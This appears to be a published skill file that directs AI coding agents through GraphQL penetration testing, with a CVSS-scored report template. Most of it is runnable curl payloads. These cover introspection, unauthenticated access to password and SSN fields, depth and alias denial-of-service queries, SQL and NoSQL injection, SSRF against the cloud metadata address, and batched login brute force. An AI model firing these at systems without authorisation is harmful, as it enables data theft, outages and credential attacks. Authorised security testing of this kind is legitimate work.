Vapt graphql
Full-spectrum web application VAPT skill for Claude Code, OpenCode, Codex CLI & Gemini CLI — from reconnaissance to exploitation to remediation reporting
npx -y skills add bhuvangupta/vapt-claude --skill vapt-graphqlAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 1 stars1 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
SKILL.md
10.8 KB, as published. Nobody here has run it
GraphQL Security Testing
When Invoked
The user runs /vapt graphql <url> for deep GraphQL-specific security testing.
This is a specialized extension of vapt-api. While vapt-api covers basic GraphQL checks (introspection, depth, batching), this skill provides comprehensive GraphQL attack surface analysis.
Phase 1: GraphQL Discovery & Fingerprinting
1.1 Endpoint Detection
# Common GraphQL endpoint paths
for path in /graphql /graphiql /v1/graphql /v2/graphql /api/graphql /query /gql /graphql/console /altair /playground; do
code=$(curl -s -o /dev/null -w "%{http_code}" -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' <url>$path)
[ "$code" != "404" ] && [ "$code" != "405" ] && echo "GraphQL candidate: $path ($code)"
done
1.2 Engine Fingerprinting
Identify the GraphQL server implementation:
# Apollo Server detection
curl -s -X POST -H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' <url>/graphql | grep -i apollo
# Check for engine-specific headers
curl -sI -X POST -H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' <url>/graphql
Look for indicators of:
- Apollo Server (Node.js)
- graphql-yoga (Node.js)
- Hasura (auto-generated)
- AWS AppSync
- Graphene (Python)
- graphql-java
- Strawberry (Python)
- Hot Chocolate (.NET)
Engine detection informs which vulnerabilities are most likely.
Phase 2: Schema Reconnaissance
2.1 Full Introspection Query
curl -s -X POST -H "Content-Type: application/json" \
-d '{"query":"{ __schema { queryType { name } mutationType { name } subscriptionType { name } types { name kind description fields(includeDeprecated: true) { name description args { name type { name kind ofType { name kind } } } type { name kind ofType { name kind } } isDeprecated deprecationReason } inputFields { name type { name kind ofType { name kind } } } enumValues { name } possibleTypes { name } } directives { name description locations args { name type { name kind ofType { name kind } } } } } }"}' \
<url>/graphql
2.2 Partial Introspection (if full is blocked)
Some servers block full introspection but allow partial:
# Try querying specific types
curl -s -X POST -H "Content-Type: application/json" \
-d '{"query":"{ __type(name: \"User\") { name fields { name type { name } } } }"}' \
<url>/graphql
# Try field suggestions (error-based schema discovery)
curl -s -X POST -H "Content-Type: application/json" \
-d '{"query":"{ users { nonexistentfield } }"}' \
<url>/graphql
Many servers return "Did you mean..." suggestions, leaking field names.
2.3 Schema Analysis
From the introspection result, extract:
- All query types (read operations)
- All mutation types (write operations)
- All subscription types (real-time operations)
- Custom scalar types
- Enum values (may contain sensitive data like roles, statuses)
- Deprecated fields (may have weaker security)
- Input types (attack surface for injections)
2.4 Scoring
| Finding | Severity | CVSS |
|---|---|---|
| Full introspection enabled in production | Medium | 5.3 |
| Field suggestions leak schema | Low | 3.7 |
| Sensitive enums exposed (roles, internal statuses) | Low | 3.5 |
| Deprecated fields still functional | Info | 0.0 |
Phase 3: Authorization Testing
3.1 Query-Level Authorization
For each query type discovered, test access without authentication:
# Test unauthenticated access to each query
for query in users orders payments admin_settings; do
curl -s -X POST -H "Content-Type: application/json" \
-d "{\"query\":\"{ $query { id } }\"}" <url>/graphql
done
3.2 Field-Level Authorization
Test if sensitive fields are accessible:
# Access user query but request sensitive fields
curl -s -X POST -H "Content-Type: application/json" \
-d '{"query":"{ users { id email passwordHash ssn creditCard } }"}' \
<url>/graphql
3.3 Mutation Authorization
Test if mutations are properly restricted:
# Try admin mutations with regular user token
curl -s -X POST -H "Content-Type: application/json" \
-H "Authorization: Bearer <regular_user_token>" \
-d '{"query":"mutation { deleteUser(id: \"other_user\") { success } }"}' \
<url>/graphql
3.4 Scoring
| Finding | Severity | CVSS |
|---|---|---|
| Sensitive queries accessible without auth | High | 7.5 |
| Admin mutations accessible to regular users | Critical | 9.1 |
| Sensitive fields exposed (PII, credentials) | High | 7.5 |
| No field-level authorization | Medium | 5.5 |
Phase 4: Denial of Service Attacks
4.1 Query Depth Attack
Test for query depth limits:
# Deeply nested query (adjust field names based on schema)
curl -s -X POST -H "Content-Type: application/json" \
-d '{"query":"{ users { friends { friends { friends { friends { friends { friends { friends { id name } } } } } } } } }"}' \
<url>/graphql
Measure response time and check for errors.
4.2 Query Complexity / Cost Analysis
# Wide query requesting many fields on many records
curl -s -X POST -H "Content-Type: application/json" \
-d '{"query":"{ users(first: 10000) { id name email orders { id total items { id name price } } friends { id name } } }"}' \
<url>/graphql
4.3 Circular Fragment Attack
# Fragment-based circular reference
curl -s -X POST -H "Content-Type: application/json" \
-d '{"query":"query { users { ...A } } fragment A on User { friends { ...B } } fragment B on User { friends { ...A } }"}' \
<url>/graphql
4.4 Alias-Based Attack
# Use aliases to multiply the same expensive query
curl -s -X POST -H "Content-Type: application/json" \
-d '{"query":"{ a1: users { id } a2: users { id } a3: users { id } a4: users { id } a5: users { id } a6: users { id } a7: users { id } a8: users { id } a9: users { id } a10: users { id } }"}' \
<url>/graphql
4.5 Scoring
| Finding | Severity | CVSS |
|---|---|---|
| No query depth limit | Medium | 5.9 |
| No query complexity limit | Medium | 5.9 |
| Circular fragments not blocked | Medium | 5.3 |
| Alias multiplication not limited | Medium | 4.5 |
Phase 5: Injection Testing
5.1 SQL Injection via GraphQL
Test all input parameters (query args, mutation inputs):
# SQLi in query argument
curl -s -X POST -H "Content-Type: application/json" \
-d '{"query":"{ user(id: \"1 OR 1=1\") { id name } }"}' \
<url>/graphql
# SQLi in search/filter
curl -s -X POST -H "Content-Type: application/json" \
-d "{\"query\":\"{ users(search: \\\"' OR '1'='1\\\") { id name } }\"}" \
<url>/graphql
5.2 NoSQL Injection
For Hasura/MongoDB-backed GraphQL:
curl -s -X POST -H "Content-Type: application/json" \
-d '{"query":"{ users(where: {name: {_regex: \".*\"}}) { id name } }"}' \
<url>/graphql
5.3 SSRF via GraphQL
Test if any field accepts URLs that the server fetches:
curl -s -X POST -H "Content-Type: application/json" \
-d '{"query":"mutation { importData(url: \"http://169.254.169.254/latest/meta-data/\") { result } }"}' \
<url>/graphql
5.4 Scoring
| Finding | Severity | CVSS |
|---|---|---|
| SQL injection via GraphQL argument | Critical | 9.8 |
| NoSQL injection | High | 8.1 |
| SSRF via GraphQL mutation | High | 8.6 |
Phase 6: Batching & Rate Limit Bypass
6.1 Query Batching
# Send array of queries in single request
curl -s -X POST -H "Content-Type: application/json" \
-d '[
{"query":"mutation { login(email: \"[email protected]\", password: \"pass1\") { token } }"},
{"query":"mutation { login(email: \"[email protected]\", password: \"pass2\") { token } }"},
{"query":"mutation { login(email: \"[email protected]\", password: \"pass3\") { token } }"},
{"query":"mutation { login(email: \"[email protected]\", password: \"pass4\") { token } }"},
{"query":"mutation { login(email: \"[email protected]\", password: \"pass5\") { token } }"}
]' <url>/graphql
If all 5 execute in one HTTP request, batching bypasses per-request rate limiting.
6.2 Alias-Based Rate Limit Bypass
# Multiple login attempts via aliases in a single query
curl -s -X POST -H "Content-Type: application/json" \
-d '{"query":"mutation { a1: login(email: \"[email protected]\", password: \"pass1\") { token } a2: login(email: \"[email protected]\", password: \"pass2\") { token } a3: login(email: \"[email protected]\", password: \"pass3\") { token } }"}' \
<url>/graphql
6.3 Scoring
| Finding | Severity | CVSS |
|---|---|---|
| Batch auth bypass (brute force via batching) | High | 7.5 |
| Alias-based rate limit bypass | Medium | 5.9 |
| No per-operation rate limiting | Medium | 5.3 |
Phase 7: Subscription Security
7.1 WebSocket Subscription Access
If subscriptions are available (usually via WebSocket):
# Test if subscriptions require authentication
# Connect to ws://<domain>/graphql and send:
# {"type":"connection_init","payload":{}}
# {"type":"subscribe","id":"1","payload":{"query":"subscription { newMessages { id content sender } }"}}
7.2 Subscription Enumeration
Can subscriptions leak data intended for other users?
7.3 Scoring
| Finding | Severity | CVSS |
|---|---|---|
| Unauthenticated subscription access | High | 7.5 |
| Cross-user subscription data leak | High | 7.5 |
Phase 8: Output
Terminal Output
Dev mode: Explain GraphQL attack surface, why introspection is dangerous, how batching bypasses security, schema-aware attack strategies.
Pro mode: Schema summary + findings table.
VAPT-GRAPHQL.md
# VAPT GraphQL Security Report
## Target: <url>
## Endpoint: <graphql_path>
## Engine: <detected engine>
## Date: <timestamp>
## Schema Summary
| Type | Count |
|------|-------|
| Queries | X |
| Mutations | X |
| Subscriptions | X |
| Custom Types | X |
## Introspection
<enabled/disabled, partial leak results>
## Authorization
| Operation | Unauth | User | Admin |
|-----------|--------|------|-------|
## DoS Resistance
| Check | Status |
|-------|--------|
| Query depth limit | ... |
| Complexity limit | ... |
| Circular fragments | ... |
| Alias limit | ... |
## Injection Results
<SQL/NoSQL/SSRF findings>
## Batching & Rate Limits
<batching and rate limit bypass results>
## Subscription Security
<subscription access control results>
## Findings
<scored findings with CVSS>
## Suggested Next Steps
- /vapt inject <url> -- test non-GraphQL endpoints for injections
- /vapt auth <url> -- test authentication mechanisms
- /vapt report <url> -- compile full report
Cross-Skill Integration
- GraphQL findings feed into vapt-api composite assessment
- Injection findings also count toward the injection category in Security Posture Score
- Schema discovery expands the attack surface for other skills